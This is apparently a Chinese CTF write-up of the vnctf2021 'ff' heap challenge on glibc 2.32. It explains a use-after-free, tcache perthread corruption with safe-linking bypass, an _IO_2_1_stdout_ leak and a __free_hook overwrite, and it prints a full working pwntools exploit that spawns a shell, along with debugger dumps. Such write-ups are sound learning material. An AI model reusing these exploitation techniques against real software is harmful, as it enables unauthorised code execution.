0%

IO_2_1_stdout leak+Tcache attack

vnctf2021 ff 复现

1
2
3
4
5
➜  [/home/ywhkkx/桌面] ./pwn 
1.add
2.del
3.exit
>>
1
2
3
4
5
6
7
8
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1fd4ed1f1e5db9e2f81e26150d0a5b6db56d2261, not stripped

[*] '/home/ywhkkx/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

程序给了 libc 版本:

1
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release versio

漏洞分析

1
2
3
4
void del()
{
free((void *)chunk_list[idx]); // UAF
}

经典 UAF

入侵思路

程序可以控制的部分太少了,连 free 的参数都不能控制,另外程序是有“打印模块”和“修改模块”的,但是“修改模块”只能使用两次,每次只能改16字节,还没法控制参数,“打印模块”也被法控制,并且只能打印一次

因为只能打印一次,“libc_base”,“chunk_list_addr”,“heap_addr”这些我们想要的数据就只能 leak 一个,我当然是想要 “libc_base” ,但是程序又有限制

因为程序限制 malloc size 的大小,所以 unsortedbin leak 挂了

1
2
3
4
puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 127; // 大小限制

只能泄露“heap_addr”了,在加上“打印模块”的长度不够,所以还需要一些操作:

1
2
3
4
5
6
7
8
9
add(0x20,'a'*0x20)
delete()
show()

p.recvuntil('>>')
leak_addr=u64(p.recvuntil('1')[:-1].ljust(8,'\x00'))
heap_addr=eval(hex(leak_addr)+'0'*3)

success('heap_addr >> '+hex(heap_addr))

只知道“heap_addr”,我的第一反应是打 unlink,但是没有 off-by-one 也打不了,我觉得我止步于此了,但我还是想谈一谈我的想法:

这题没有泄露“libc_base”,大概率是要打 house of roman 爆破libc库函数的,关键就在于这个 size 检查把 unsortedbin 限制了,导致 main_arene 写不进来,当然 house of roman 也没毛用了

没有“libc_base”还有一个解决方式,IO_2_1_stdout leak,这种攻击可以和 house of roman 结合(比如我刚刚复现过的 nepctf2021 sooooeasy),但缺少 main_arene 的核心问题还是没有解决

先挂上大佬的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
#context.log_level = "debug"

p = process([file_path])
libc=ELF('./libc-2.32.so')
elf=ELF(file_path)

def add(size, content=b"1\n"):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(size))
p.sendafter("Content:\n", content)

def delete():
p.sendlineafter(">>", "2")

def show():
p.sendlineafter(">>", "3")

def edit(content):
p.sendlineafter(">>", "5")
p.sendafter("Content:\n", content)

stdout = 0xa6c0

while True:
try:
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12
log.success("heap base is {}".format(hex(heap_base)))

edit(b"\x00"*0x10)
delete()
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))

add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
delete()

add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0))
delete()

add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")

libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
if(libc.address>0x5000000000000 or libc.address < 0x5000):
print("wrong and continue\n")
continue
break
except:
p.close()
p = process([file_path])

add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()

p.interactive()

经过测试,大佬的 exp 也不是百分之百可以打通的,因为有时候会 leak 异常的 libc_base,所以我修改了一下 exp ,使其可以舍弃掉一些异常的 libc_base

1
2
3
4
5
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12 # 16进制下填3个0,2进制下填3*4个0
log.success("heap base is {}".format(hex(heap_base)))

大佬的 heap_addr 泄露和我的思路一样,但是比我的简洁多了

1
2
3
4
5
6
7
8
edit(b"\x00"*0x10)
delete() # 释放>>修改FD>>释放(tcache dup,类似于Double free)
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))
add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
# 利用tcache dup申请tcache_perthread_struct
delete()
1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000291
0x558b1cfcd010: 0x0000000000000000 0x0000000000000000
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0007000000000000 // 修改count为'7'
0x558b1cfcd060: 0x0000000000000000 0x0000000000000000

delete() 执行之后:

1
2
unsortedbin
all: 0x558b1cfcd000 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd000

大佬果然有办法搞到“main_arena”,这里其实是利用了 tcache 的机制:

  • 当某一个tcache链表满了7个,再有对应的chunk(不属于fastbin的)被free,就直接进入了unsortedbin中
  • tcache_perthread_struct 结构一般在 heapbase+0x10(0x8)的位置,对应tcache的数目是char类型

因为程序没法控制“释放模块”的参数,所以想通过正常手段填满 tache 显然不可能了,但是我们已知 heapbase 的地址,可以通过 tcache dup 来劫持 tcache_perthread_struct,将0x290大小堆块对应的count设置为7,释放后就会把整个 tcache_perthread_struct 放入 unsortedbin(这种攻击模式被称为 tcache perthread corruption)

注意:因为 libc-2.32 新增加的特性:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

程序会对 tcache->fd 指针的加密(还有这种操作?),所以我们在伪造 FD 的时候也要进行一次相同的加密

接下来申请了两个 chunk 把“heap_base + 0xb0”连接入“tcachebin”

1
2
3
add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0)) # heap_base+0xb0 to tache
delete()

释放后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd010: 0x0001000200000000 0x0000000000000001
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 // delete
0x558b1cfcd070: 0x0000000000000000 0x0000000000000000
0x558b1cfcd080: 0x0000000000000000 0x0000000000000000
0x558b1cfcd090: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 // '0x40'的tcache
/* 伪造'0x40'的tcache(带有main_arena) */
0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 // '0x60'的tcache
/* 这里曾经是unsortedbin,所以main_arena留下来了 */
0x558b1cfcd0c0: 0x0000000558b1cfcd 0x0000000000000000
0x558b1cfcd0d0: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0e0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tcachebins
0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd
0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1 // delete(后面有大用处)
0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd
0x70 [ 0]: 0x7fea097ddc00 (main_arena+96) ◂— ...
0x80 [ 0]: 0x558b1cfcd
0x260 [ 81]: 0x0
0x2a0 [52796]: 0x0
0x2b0 [22705]: 0x0
0x2c0 [ 5]: 0x0
0x2e0 [53264]: 0x0
0x2f0 [7420]: 0x0
0x300 [21899]: 0x0

unsortedbin
all: 0x558b1cfcd0a0 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd0a0

这一块需要先学习 tcache_perthread_struct 结构

下面一段代码需要把两个“add”分开进行理解:

1
2
3
4
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))

第一次申请后:

1
2
3
4
5
tcachebins
0x40 [ 1]: 0x7f465c72d9cf
0x50 [ 1]: 0x55aa705cf060 ◂— 0x1f1
0x60 [ 1]: 0x7f4306d5a6c0 (_nl_C_LC_CTYPE+64) ◂— 0x7f44f2e09f9a
// 这里将有1/16的概率为 _IO_2_1_stdout_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20xg 0x55aa705cf000
0x55aa705cf000: 0x0000000000000000 0x0000000000000051
0x55aa705cf010: 0x0001000100000000 0x0000000000000001
0x55aa705cf020: 0x0000000000000000 0x0000000000000000
0x55aa705cf030: 0x0000000000000000 0x0000000000000000
0x55aa705cf040: 0x0000000000000000 0x0000000000000000
0x55aa705cf050: 0x0000000000000000 0x0000000000000051
0x55aa705cf060: 0x000000055aa7043e 0x000055aa705cf010
0x55aa705cf070: 0x0000000000000000 0x0000000000000000
0x55aa705cf080: 0x0000000000000000 0x0000000000000000
0x55aa705cf090: 0x0000000000000000 0x0000000000000000
0x55aa705cf0a0: 0x00007f465c72d9cf 0x000055aa705cf060 // '0x40'的tcache
0x55aa705cf0b0: 0x00007f4306d5a6c0 0x0000000000000000 // '0x60'的tcache(已覆盖)
0x55aa705cf0c0: 0x000000055aa705cf 0x0000000000000000

这次申请的是“0x40的tcache”(写有“0x60的tcache”),输入的是“0x60的tcache”的位置,下一次如果申请的大小为“0x60”就会把“覆盖后的main_arena”申请出来,进行一次写入

第二次申请,就进行了 IO_2_1_stdout leak,通过修改 _IO_2_1_stdout_ 的 flag 值,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base_IO_write_ptr 之间的数据

1
2
3
add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()
1
2
3
4
tcachebins
0x40 [ 1]: 0x7f3e3391980a // 可以继续覆盖为"free_hook"
0x50 [ 1]: 0x561aa040a060 ◂— 0x1f1
0x60 [ 0]: 0x708180b3d
1
2
3
4
5
6
7
8
9
pwndbg> x/20xg 0x561aa040a050
0x561aa040a050: 0x0000000000000000 0x0000000000000051
0x561aa040a060: 0x0000000561aa05fb 0x0000561aa040a010 // will be malloc
0x561aa040a070: 0x0000000000000000 0x0000000000000000
0x561aa040a080: 0x0000000000000000 0x0000000000000000
0x561aa040a090: 0x0000000000000000 0x0000000000000000
0x561aa040a0a0: 0x00007f3e3391980a 0x0000561aa040a060 // '0x40'的tcache
0x561aa040a0b0: 0x0000000708180b3d 0x0000000000000000 // '0x60'的tcache
0x561aa040a0c0: 0x0000000561aa040a 0x0000000000000000

和上面思路一样,打了 free_hook 就结束了(这个heap排列真的值得我学习)


小结:

本题目融合了 tcache perthread corruption,house of roman,IO_2_1_stdout leak,难度有明显上升,因为我之前复现了一道 house of roman 和 IO_2_1_stdout leak 结合的题目,所以爆破这部分比较顺畅

此题目大大加强了我对 tcache 的理解(主要是对“tcache_perthread_struct”的理解),还体验了一波 tcache perthread corruption(刚学tcache时,觉得它的检查很少很简单,现在觉得它的利用也挺麻烦的)

我还学习到了大佬的思路,说实话,大佬对于覆写“tcache_entry”的处理真的让我大开眼界,他对于 unsortedbin 的切割很是讲究,使 main_arena 刚好可以被控制,并且后面“申请tcache”和“覆写main_arena”的配合也是研究过的,没有出现“无main_arena可用”的尴尬(对于 heap 排列,我还是要多多“试错”)